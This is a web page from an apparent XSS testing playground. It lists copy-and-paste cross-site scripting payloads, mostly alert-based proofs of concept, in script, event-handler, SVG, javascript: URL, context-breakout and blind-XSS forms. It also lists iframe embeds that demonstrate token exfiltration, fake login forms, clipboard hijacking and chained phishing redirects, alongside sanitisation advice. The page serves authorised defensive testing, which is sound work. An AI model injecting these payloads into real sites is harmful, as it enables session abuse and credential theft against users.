XSS Playground

Copy-and-test XSS scenarios

Sangmook Kim

AboutSangmook Kim

Frontend Engineer

I'm Sangmook Kim, a frontend developer. This site is not a product-specific PoC; it is an open playground for anyone who wants to verify XSS defenses in web services they own or are authorized to test.

Each scenario turns a realistic browser risk into a small test page: script tags, event-handler attributes, javascript: URLs, DOM sinks, embedded iframes, parent-window messaging, deceptive UI, and automatic requests.

Copy an HTML payload or iframe snippet from a scenario card or detail page, paste it into your own project, and check both the render result and the actual browser behavior.

GitHub

Caution. Only test services you own or have explicit permission to test. Probing third-party services may violate computer-misuse / unauthorized-access laws in your jurisdiction.

Project intent

XSS defense is not finished by naming an HTML filter or adding one line of filtering. You need to see what the browser actually allows across iframes, messages, permission prompts, automatic requests, and deceptive UI.

This site is not an attack automation tool. It is a repeatable checklist for developers and security teams testing rendering policies in services they own or are authorized to assess.

Every snippet is designed to be copied into a dev or staging environment. If an HTML payload executes or an iframe scenario works, it is a signal to investigate; if it is blocked, you can record which policy stopped it.

How to use

  1. Open a scenario page.
  2. Copy the HTML payload or iframe code from the home card or detail page.
  3. Paste it into your own service (editor, notes, wiki…) and save.
  4. Check rendering, sandbox behavior, CSP, postMessage validation, and the actual browser behavior.

Practical Sanitization

If a product feature must accept HTML, do not rely on string replacement or blacklists. Pair context-aware output encoding with a tested sanitizer policy.

DOMPurify

DOMPurify is a widely used sanitizer for stripping executable risk from HTML, SVG, and MathML. Use it only where HTML is intentionally rendered, such as dangerouslySetInnerHTML, Markdown/MDX output, or rich text rendering.

Node.js / SSR

Server-side sanitization needs a DOM implementation. In Node.js, use DOMPurify with an up-to-date jsdom setup, and test that client and server allowlists do not drift apart.

Policy documentation

Record allowed tags, attributes, URL protocols/hosts, iframe sandbox, and CSP per feature. If another renderer mutates HTML after sanitization, the protection can be undone.

XSS threat map

Based on the Hacker101 CTF XSS Playground categories and PortSwigger Web Security Academy guidance, this project groups the risks you should test into these areas.

Reflected XSS

Request data such as query strings, search terms, or error messages is immediately reflected into HTML without the right output encoding.

Stored XSS

Saved input such as comments, profiles, or document bodies is later rendered for other users as active content.

DOM-based XSS

Client-side code reads untrusted values from location, hash, postMessage, or storage and writes them into unsafe sinks like innerHTML or string-based timers.

Filter / CSP bypass

Event handlers, SVG/MathML, javascript: URLs, encodings, and template syntax can bypass weak blacklists or incomplete CSP rules.

Account abuse

Once script runs, it can act with the user's privileges, perform requests, manipulate the page, and access data the user can access.

Phishing / exfiltration

iframes, overlays, notifications, clipboard hooks, and postMessage can trick users into entering secrets or leak observable data out of the page.

Scenarios

Attack scenarios grouped by category. Copy an HTML payload or iframe embed directly from a card, or open a detail page for deeper testing.

HTML Injection

script tag injection

Check whether a raw script tag executes when user input is parsed as an HTML document.

<script>alert("xss-playground")</script>
Event-handler attribute injection

Check whether on* attributes such as img onerror or details ontoggle survive rendering and execute.

<img src=x onerror="alert('xss-playground')">
SVG / MathML onload payload

Check whether SVG, MathML namespaces, event attributes, and nested HTML bypass weak filters.

<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>

DOM XSS

DOM innerHTML sink

Check whether untrusted values from location, hash, postMessage, and similar sources reach unsafe sinks such as innerHTML.

<img src=x onerror="alert('dom-xss')">

URL / Protocol

javascript: URL protocol

Check whether javascript: remains in URL attributes such as href or action and executes on user interaction.

<a href="javascript:alert('xss-playground')">click me</a>
Encoded javascript: protocol bypass

Check whether HTML entities, control characters, or casing variations bypass javascript: URL validation.

<a href="jav&#x61;script:alert('xss-playground')">encoded protocol</a>
data: URL wrapper

Check whether data:text/html is allowed in wrapper URL attributes such as iframe, object, embed, or link previews.

<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>

Context Breakout

JavaScript string context breakout

Check whether user input can break out of script-block strings, JSON boot state, or inline event code.

";alert("xss-playground");//
CSS / style context injection

Check parser breakouts and risky URL tokens when user input enters style tags, style attributes, or CSS URLs.

</style><img src=x onerror="alert('css-context-xss')"><style>

File Upload

File upload preview XSS

Check whether active content runs when uploaded SVG, XML, or HTML files are rendered as previews.

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>

User Content

Markdown link XSS

Check whether Markdown, MDX, or editor renderers safely normalize and sanitize link URLs, raw HTML, and image URLs.

[click me](javascript:alert('markdown-xss'))
Profile nickname / icon rendering XSS

Check whether small profile fields such as nicknames, status text, or icon URLs become executable code in attribute or HTML contexts.

" autofocus onfocus="alert('nickname-xss')" x="

Navigation

top.location forced redirect

Replace the whole parent window from inside an iframe and compare sandbox allow-top-navigation behavior.

<iframe src="https://xss-playground.com/embed/top-redirect?lang=en" title="XSS Playground - top.location forced redirect" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Communication

postMessage spoofing

Send forged messages to the parent page and check whether origin validation is missing.

<iframe src="https://xss-playground.com/embed/post-message?lang=en" title="XSS Playground - postMessage spoofing" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Hidden form auto-submit (CSRF-like)

Submit a hidden form to an external domain and compare sandbox allow-forms and CSRF boundaries.

<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=en" title="XSS Playground - Hidden form auto-submit (CSRF-like)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
navigator.sendBeacon / fetch exfiltration

Check how data collected inside the iframe's own origin and referrer information can be sent out via sendBeacon or fetch.

<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=en" title="XSS Playground - navigator.sendBeacon / fetch exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
img-tag GET request CSRF

Check whether an external state-changing GET endpoint can be requested with cookies through img.src.

<iframe src="https://xss-playground.com/embed/csrf-image?lang=en" title="XSS Playground - img-tag GET request CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Exfiltration

Parent token / network theft attempts

Probe the boundary around parent JWTs, storage, and in-flight network requests from inside an iframe.

<iframe src="https://xss-playground.com/embed/token-exfil?lang=en" title="XSS Playground - Parent token / network theft attempts" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Phishing

Fake login form (phishing)

Draw a parent-like login form inside an iframe and collect user input on the iframe's own origin.

<iframe src="https://xss-playground.com/embed/phishing-form?lang=en" title="XSS Playground - Fake login form (phishing)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Fullscreen overlay impersonation

Place an iframe over the screen and draw a parent-like UI to deceive the user.

<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=en" title="XSS Playground - Fullscreen overlay impersonation" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Delayed / Chained

Blind XSS workflow

Track payloads that do not run immediately but execute later in admin consoles, notifications, log viewers, or CRMs.

<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">
Delayed / auto-fire payload

Auto-fire top-redirect, postMessage, form submit, and similar actions after a timer or URL parameter.

<iframe src="https://xss-playground.com/embed/delayed-attack?lang=en" title="XSS Playground - Delayed / auto-fire payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Chained attack (phishing + fullscreen + redirect)

Reproduce a chain that shows fake fullscreen UI, captures credentials, then top-redirects to reduce suspicion.

<iframe src="https://xss-playground.com/embed/chained-attack?lang=en" title="XSS Playground - Chained attack (phishing + fullscreen + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Annoyance

Auto-download trigger

Check whether file downloads can start without an explicit user click via download attributes, Blob URLs, or data URLs.

<iframe src="https://xss-playground.com/embed/auto-download?lang=en" title="XSS Playground - Auto-download trigger" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
popup / window.open spam

Open new windows with window.open and inspect popup blocking, allow-popups, opener, and tabnabbing boundaries.

<iframe src="https://xss-playground.com/embed/popup-spam?lang=en" title="XSS Playground - popup / window.open spam" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Autoplay media / automatic fullscreen

Try autoplaying media with sound or taking fullscreen with requestFullscreen.

<iframe src="https://xss-playground.com/embed/autoplay-media?lang=en" title="XSS Playground - Autoplay media / automatic fullscreen" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Notification permission / push hijack

Call Notification.requestPermission and inspect permission prompts plus later phishing-notification risk.

<iframe src="https://xss-playground.com/embed/notification-permission?lang=en" title="XSS Playground - Notification permission / push hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Clipboard hijack

Intercept copy events inside the iframe and overwrite the user's clipboard with different content.

<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=en" title="XSS Playground - Clipboard hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
history.pushState pollution

Pile up iframe-owned history entries and interfere with the parent tab's back navigation.

<iframe src="https://xss-playground.com/embed/history-pollution?lang=en" title="XSS Playground - history.pushState pollution" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Probe

Same-Origin Policy probe (expected failures)

Attempt parent DOM, storage, and cookie access to see exactly what SOP blocks and what it still allows.

<iframe src="https://xss-playground.com/embed/sop-probe?lang=en" title="XSS Playground - Same-Origin Policy probe (expected failures)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Parent message listener fingerprinting

Send multiple postMessage payloads to the parent and observe responses or side effects.

<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=en" title="XSS Playground - Parent message listener fingerprinting" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Contributing (Issues / PRs)

This project is source-available, not open-source. The code is public for review and contributions, but forking the project to run a separate deployment, mirror, or commercial service is not permitted.

Ideas, bug reports, translation fixes, and new scenarios are welcome. Open an Issue first; if the change is accepted in principle you can be added as a collaborator and push a branch directly to this repository instead of a long-lived fork.

Full policy lives in LICENSE and CONTRIBUTING.md.